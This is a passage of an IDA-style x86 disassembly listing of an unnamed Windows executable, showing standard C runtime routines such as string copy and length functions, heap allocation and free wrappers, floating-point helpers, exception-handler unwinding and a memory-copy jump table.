; sub_415BF0+4Bj
lea edi, [ecx-1]
jmp short loc_415C51
; ---------------------------------------------------------------------------
loc_415C44: ; CODE XREF: sub_415BF0+44j
lea edi, [ecx-2]
jmp short loc_415C51
; ---------------------------------------------------------------------------
loc_415C49: ; CODE XREF: sub_415BF0+3Dj
lea edi, [ecx-3]
jmp short loc_415C51
; ---------------------------------------------------------------------------
loc_415C4E: ; CODE XREF: sub_415BF0+39j
lea edi, [ecx-4]
loc_415C51: ; CODE XREF: sub_415BE0+5j
; sub_415BF0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_415C76
loc_415C5D: ; CODE XREF: sub_415BF0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_415CC8
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_415C5D
jmp short loc_415C76
; ---------------------------------------------------------------------------
loc_415C71: ; CODE XREF: sub_415BF0+9Ej
; sub_415BF0+B8j
mov [edi], edx
add edi, 4
loc_415C76: ; CODE XREF: sub_415BF0+6Bj
; sub_415BF0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_415C71
test dl, dl
jz short loc_415CC8
test dh, dh
jz short loc_415CBF
test edx, 0FF0000h
jz short loc_415CB2
test edx, 0FF000000h
jz short loc_415CAA
jmp short loc_415C71
; ---------------------------------------------------------------------------
loc_415CAA: ; CODE XREF: sub_415BF0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_415CB2: ; CODE XREF: sub_415BF0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_415CBF: ; CODE XREF: sub_415BF0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_415CC8: ; CODE XREF: sub_415BF0+72j
; sub_415BF0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_415BF0 endp
; =============== S U B R O U T I N E =======================================
sub_415CD0 proc near ; CODE XREF: seg000:004023A2p
; seg000:loc_4023B5p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_415CF0
loc_415CDC: ; CODE XREF: sub_415CD0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_415D23
test ecx, 3
jnz short loc_415CDC
add eax, 0
loc_415CF0: ; CODE XREF: sub_415CD0+Aj
; sub_415CD0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_415CF0
mov eax, [ecx-4]
test al, al
jz short loc_415D41
test ah, ah
jz short loc_415D37
test eax, 0FF0000h
jz short loc_415D2D
test eax, 0FF000000h
jz short loc_415D23
jmp short loc_415CF0
; ---------------------------------------------------------------------------
loc_415D23: ; CODE XREF: sub_415CD0+11j
; sub_415CD0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_415D2D: ; CODE XREF: sub_415CD0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_415D37: ; CODE XREF: sub_415CD0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_415D41: ; CODE XREF: sub_415CD0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_415CD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415D50 proc near ; CODE XREF: seg000:004024E4p
; sub_402988+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_415D70
loc_415D5C: ; CODE XREF: sub_415D50+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_415D5C
loc_415D70: ; CODE XREF: sub_415D50+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_415D50 endp
; =============== S U B R O U T I N E =======================================
sub_415D7F proc near ; CODE XREF: sub_402FDD+7Ap
; sub_402FDD+8Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, eax
cmp word ptr [eax], 0
jz short loc_415D93
loc_415D8B: ; CODE XREF: sub_415D7F+12j
inc ecx
inc ecx
cmp word ptr [ecx], 0
jnz short loc_415D8B
loc_415D93: ; CODE XREF: sub_415D7F+Aj
mov edx, [esp+arg_4]
push esi
loc_415D98: ; CODE XREF: sub_415D7F+26j
mov si, [edx]
mov [ecx], si
inc ecx
inc ecx
inc edx
inc edx
test si, si
jnz short loc_415D98
pop esi
retn
sub_415D7F endp
; =============== S U B R O U T I N E =======================================
sub_415DA9 proc near ; CODE XREF: sub_403178+220p
; sub_4033CB+C1p ...
arg_0 = dword ptr 4
push ds:dword_4694D4
push [esp+4+arg_0]
call sub_415DBB
pop ecx
pop ecx
retn
sub_415DA9 endp
; =============== S U B R O U T I N E =======================================
sub_415DBB proc near ; CODE XREF: sub_415DA9+Ap
; sub_4167A5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_415DE4
loc_415DC2: ; CODE XREF: sub_415DBB+27j
push [esp+arg_0]
call sub_415DE7
test eax, eax
pop ecx
jnz short locret_415DE6
cmp [esp+arg_4], eax
jz short locret_415DE6
push [esp+arg_0]
call sub_418A48
test eax, eax
pop ecx
jnz short loc_415DC2
loc_415DE4: ; CODE XREF: sub_415DBB+5j
xor eax, eax
locret_415DE6: ; CODE XREF: sub_415DBB+13j
; sub_415DBB+19j
retn
sub_415DBB endp
; =============== S U B R O U T I N E =======================================
sub_415DE7 proc near ; CODE XREF: sub_415DBB+Bp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
cmp esi, ds:dword_437F6C
ja short loc_415DFF
push esi
call sub_418E33
test eax, eax
pop ecx
jnz short loc_415E1B
loc_415DFF: ; CODE XREF: sub_415DE7+Bj
test esi, esi
jnz short loc_415E06
push 1
pop esi
loc_415E06: ; CODE XREF: sub_415DE7+1Aj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push ds:dword_46AAE0
call ds:dword_42114C ; RtlAllocateHeap
loc_415E1B: ; CODE XREF: sub_415DE7+16j
pop esi
retn
sub_415DE7 endp
; =============== S U B R O U T I N E =======================================
sub_415E1D proc near ; CODE XREF: sub_4033CB+10Ep
; sub_4033CB+116p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_415E4A
push esi
call sub_418ADD
pop ecx
test eax, eax
push esi
jz short loc_415E3C
push eax
call sub_418B08
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_415E3C: ; CODE XREF: sub_415E1D+13j
push 0
push ds:dword_46AAE0
call ds:dword_421150 ; RtlFreeHeap
loc_415E4A: ; CODE XREF: sub_415E1D+7j
pop esi
retn
sub_415E1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415E4C(double)
sub_415E4C proc near ; CODE XREF: sub_40465E+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push ds:dword_437D10
call sub_419E06
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_415ED2
call sub_419CCE
pop ecx
test eax, eax
pop ecx
jle short loc_415EB5
cmp eax, 2
jle short loc_415EA7
cmp eax, 3
jnz short loc_415EB5
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_4195DE
add esp, 10h
jmp short loc_415F17
; ---------------------------------------------------------------------------
loc_415EA7: ; CODE XREF: sub_415E4C+3Fj
push esi
push ebx
call sub_419E06
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_415F17
; ---------------------------------------------------------------------------
loc_415EB5: ; CODE XREF: sub_415E4C+3Aj
; sub_415E4C+44j
fld [ebp+arg_0]
fadd ds:dbl_421670
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_415F0F
; ---------------------------------------------------------------------------
loc_415ED2: ; CODE XREF: sub_415E4C+2Fj
call sub_419C93
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_415EF5
loc_415EE7: ; CODE XREF: sub_415E4C+ACj
push esi
push ebx
call sub_419E06
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_415F17
; ---------------------------------------------------------------------------
loc_415EF5: ; CODE XREF: sub_415E4C+99j
test bl, 20h
jnz short loc_415EE7
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_415F0F: ; CODE XREF: sub_415E4C+84j
call sub_419631
add esp, 1Ch
loc_415F17: ; CODE XREF: sub_415E4C+59j
; sub_415E4C+67j ...
pop esi
pop ebx
leave
retn
sub_415E4C endp
; =============== S U B R O U T I N E =======================================
sub_415F1B proc near ; CODE XREF: sub_4177DA+9p
; sub_419ECF+21p
; DATA XREF: ...
call sub_415F33
call sub_419ECF
mov ds:dword_469454, eax
call sub_419E7F
fnclex
retn
sub_415F1B endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_415F33 proc near ; CODE XREF: sub_415F1Bp
mov eax, offset sub_41A2BD
mov ds:off_43808C, offset sub_419F52
mov ds:off_438088, eax
mov ds:off_438090, offset sub_419FB8
mov ds:off_438094, offset sub_419EF8
mov ds:off_438098, offset sub_419FA0
mov ds:off_43809C, eax
retn
sub_415F33 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F6C proc near ; CODE XREF: sub_40465E+1Bp
; sub_40465E+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_415F6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415F93(double)
sub_415F93 proc near ; CODE XREF: sub_4046AA+82p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push ds:dword_437D28
call sub_419E06
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_416019
call sub_419CCE
pop ecx
test eax, eax
pop ecx
jle short loc_415FFC
cmp eax, 2
jle short loc_415FEE
cmp eax, 3
jnz short loc_415FFC
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_4195DE
add esp, 10h
jmp short loc_41605E
; ---------------------------------------------------------------------------
loc_415FEE: ; CODE XREF: sub_415F93+3Fj
push esi
push ebx
call sub_419E06
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41605E
; ---------------------------------------------------------------------------
loc_415FFC: ; CODE XREF: sub_415F93+3Aj
; sub_415F93+44j
fld [ebp+arg_0]
fadd ds:dbl_421670
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_416056
; ---------------------------------------------------------------------------
loc_416019: ; CODE XREF: sub_415F93+2Fj
call sub_419C93
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41603C
loc_41602E: ; CODE XREF: sub_415F93+ACj
push esi
push ebx
call sub_419E06
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41605E
; ---------------------------------------------------------------------------
loc_41603C: ; CODE XREF: sub_415F93+99j
test bl, 20h
jnz short loc_41602E
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_416056: ; CODE XREF: sub_415F93+84j
call sub_419631
add esp, 1Ch
loc_41605E: ; CODE XREF: sub_415F93+59j
; sub_415F93+67j ...
pop esi
pop ebx
leave
retn
sub_415F93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416062 proc near ; CODE XREF: sub_41A72E+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_416062 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_416096 proc near ; CODE XREF: sub_41A8DF+199p
; sub_41AAA3+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_416096 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41609D proc near ; CODE XREF: sub_41A8DF+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41609D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4160A4 proc near ; CODE XREF: sub_416256+5Cp
; sub_41A72E:loc_41A75Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_4160CC
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_4200EC ; RtlUnwind
loc_4160CC: ; DATA XREF: sub_4160A4+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_4160A4 endp
; ---------------------------------------------------------------------------
loc_4160F3: ; CODE XREF: seg000:00420248j
; seg000:00420265j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_41A333
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416129 proc near ; CODE XREF: sub_41A7A9+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41617D
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_41AB30
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_416129 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41617D proc near ; DATA XREF: sub_416129+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_41A333
add esp, 20h
pop ebp
retn
sub_41617D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4161A2 proc near ; CODE XREF: sub_41A575+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_416256
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_416228
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call ds:dword_4694F4
pop ecx
pop ecx
and [ebp+var_34], 0
loc_416228: ; DATA XREF: sub_4161A2+3Co
cmp [ebp+var_4], 0
jz short loc_416245
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41624E
; ---------------------------------------------------------------------------
loc_416245: ; CODE XREF: sub_4161A2+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41624E: ; CODE XREF: sub_4161A2+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_4161A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416256 proc near ; DATA XREF: sub_4161A2+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_416279
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_4162C6
; ---------------------------------------------------------------------------
loc_416279: ; CODE XREF: sub_416256+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_41A333
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_4162B7
push [ebp+arg_0]
push [ebp+arg_4]
call sub_4160A4
loc_4162B7: ; CODE XREF: sub_416256+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_4162C6: ; CODE XREF: sub_416256+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_416256 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4162CB proc near ; CODE XREF: sub_41A3CE+C6p
; sub_41A575+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_416322
loc_4162E9: ; CODE XREF: sub_4162CB+52j
cmp esi, 0FFFFFFFFh
jnz short loc_4162F3
call sub_41ABD2
loc_4162F3: ; CODE XREF: sub_4162CB+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_416308
cmp ecx, [eax+8]
jle short loc_41630D
loc_416308: ; CODE XREF: sub_4162CB+36j
cmp esi, 0FFFFFFFFh
jnz short loc_416319
loc_41630D: ; CODE XREF: sub_4162CB+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_416319: ; CODE XREF: sub_4162CB+40j
cmp [ebp+arg_4], 0
jge short loc_4162E9
mov eax, [ebp+var_4]
loc_416322: ; CODE XREF: sub_4162CB+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_416336
cmp esi, eax
jbe short loc_41633B
loc_416336: ; CODE XREF: sub_4162CB+65j
call sub_41ABD2
loc_41633B: ; CODE XREF: sub_4162CB+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_4162CB endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416348 proc near ; CODE XREF: sub_41CDE8+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_416360
push [ebp+arg_0]
call sub_4200EC ; RtlUnwind
loc_416360: ; DATA XREF: sub_416348+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_416348 endp
; =============== S U B R O U T I N E =======================================
sub_416368 proc near ; DATA XREF: sub_41638A+Ao
; sub_4163F2+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_416389
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_416389: ; CODE XREF: sub_416368+10j
retn
sub_416368 endp
; =============== S U B R O U T I N E =======================================
sub_41638A proc near ; CODE XREF: sub_41A84F+Dp
; sub_41CDE8+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_416368
push large dword ptr fs:0
mov large fs:0, esp
loc_4163A7: ; CODE XREF: sub_41638A:loc_4163E2j
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_4163E4
cmp esi, [esp+1Ch+arg_4]
jz short loc_4163E4
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_4163E2
push 101h
mov eax, [ebx+esi*4+8]
call sub_41641E
call dword ptr [ebx+esi*4+8]
loc_4163E2: ; CODE XREF: sub_41638A+44j
jmp short loc_4163A7
; ---------------------------------------------------------------------------
loc_4163E4: ; CODE XREF: sub_41638A+2Aj
; sub_41638A+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41638A endp
; =============== S U B R O U T I N E =======================================
sub_4163F2 proc near ; CODE XREF: sub_41A86F+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_416368
jnz short locret_416414
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_416414
mov eax, 1
locret_416414: ; CODE XREF: sub_4163F2+10j
; sub_4163F2+1Bj
retn
sub_4163F2 endp
; =============== S U B R O U T I N E =======================================
sub_416415 proc near ; CODE XREF: sub_41AB30+1Ep
; sub_41AB30+40p
push ebx
push ecx
mov ebx, offset dword_437D2C
jmp short loc_416428
sub_416415 endp
; =============== S U B R O U T I N E =======================================
sub_41641E proc near ; CODE XREF: sub_41638A+4Fp
; sub_41CDE8+78p
push ebx
push ecx
mov ebx, offset dword_437D2C
mov ecx, [ebp+8]
loc_416428: ; CODE XREF: sub_416415+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41641E endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_416438 proc near ; CODE XREF: sub_4046AA+5p
; sub_40484C+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_416438 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_416457 proc near ; CODE XREF: sub_404D21+26p
; seg000:0041FEC5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_415E1D
pop ecx
retn
sub_416457 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416470 proc near ; CODE XREF: sub_404D92+3Ap
; sub_418B08+2EEp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_416490
cmp edi, eax
jb loc_416608
loc_416490: ; CODE XREF: sub_416470+16j
test edi, 3
jnz short loc_4164AC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4164CC
rep movsd
jmp ds:off_4165B8[edx*4]
; ---------------------------------------------------------------------------
loc_4164AC: ; CODE XREF: sub_416470+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_4164C4
and eax, 3
add ecx, eax
jmp dword ptr ds:loc_4164CC+4[eax*4]
; ---------------------------------------------------------------------------
loc_4164C4: ; CODE XREF: sub_416470+46j
jmp dword ptr ds:loc_4165C8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4164CC: ; CODE XREF: sub_416470+31j
; sub_416470+8Ej ...
jmp ds:off_41654C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4164E0
dd offset loc_41650C
dd offset loc_416530
; ---------------------------------------------------------------------------
loc_4164E0: ; DATA XREF: sub_416470+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_4164CC
rep movsd
jmp ds:off_4165B8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41650C: ; DATA XREF: sub_416470+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_4164CC
rep movsd
jmp ds:off_4165B8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_416530: ; DATA XREF: sub_416470+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_4164CC
rep movsd
jmp ds:off_4165B8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41654C dd offset loc_4165AF ; DATA XREF: sub_416470:loc_4164CCr
dd offset loc_41659C
dd offset loc_416594
dd offset loc_41658C
dd offset loc_416584
dd offset loc_41657C
dd offset loc_416574
dd offset loc_41656C
